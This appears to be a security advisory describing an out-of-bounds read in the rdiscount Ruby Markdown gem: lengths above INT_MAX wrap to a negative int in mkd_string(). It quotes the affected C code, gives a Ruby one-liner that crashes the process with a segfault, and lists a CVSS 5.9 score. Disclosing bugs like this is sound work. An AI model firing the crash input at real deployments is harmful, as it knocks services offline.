A signed length truncation bug causes an out-of-bounds read in the default Markdown parse path. Inputs larger than INT_MAX are truncated to a signed int before entering the native parser, allowing the parser to read past the end of the supplied buffer and crash the process
In both public entry points:
ext/rdiscount.c:97ext/rdiscount.c:136RSTRING_LEN(text) is passed directly into mkd_string():
MMIOT *doc = mkd_string(RSTRING_PTR(text), RSTRING_LEN(text), flags);
mkd_string() accepts int len:
ext/mkdio.c:174Document * mkd_string(const char *buf, int len, mkd_flag_t flags)
{
struct string_stream about;
about.data = buf;
about.size = len;
return populate((getc_func)__mkd_io_strget, &about, flags & INPUT_MASK);
}
The parser stores the remaining input length in a signed int:
ext/markdown.h:205struct string_stream {
const char *data;
int size;
};
The read loop stops only when size == 0:
ext/mkdio.c:161int __mkd_io_strget(struct string_stream *in)
{
if ( !in->size ) return EOF;
--(in->size);
return *(in->data)++;
}
If the Ruby string length exceeds INT_MAX, the value can truncate to a negative int. In that state, the parser continues incrementing data and reading past the end of the original Ruby string, causing an out-of-bounds read and native crash.
Affected APIs:
RDiscount.new(input).to_htmlRDiscount.new(input).toc_contentCrash via to_html:
RUBYLIB=lib:ext ruby -e 'require "rdiscount"; n=2_200_000_000; s = "a" * n; warn "built=#{s.bytesize}"; RDiscount.new(s).to_html"'
result:
built=2200000000[BUG] Segmentation faultCFUNC :to_htmlsame result with toc_content
This is an out-of-bounds read with the main issue being reliable denial-of-service. Impacted is limited to deployments parses attacker-controlled...
2.2.7.4Exploitability
AV:NAC:HPR:NUI:NScope
S:UImpact
C:NI:NA:H5.9/CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H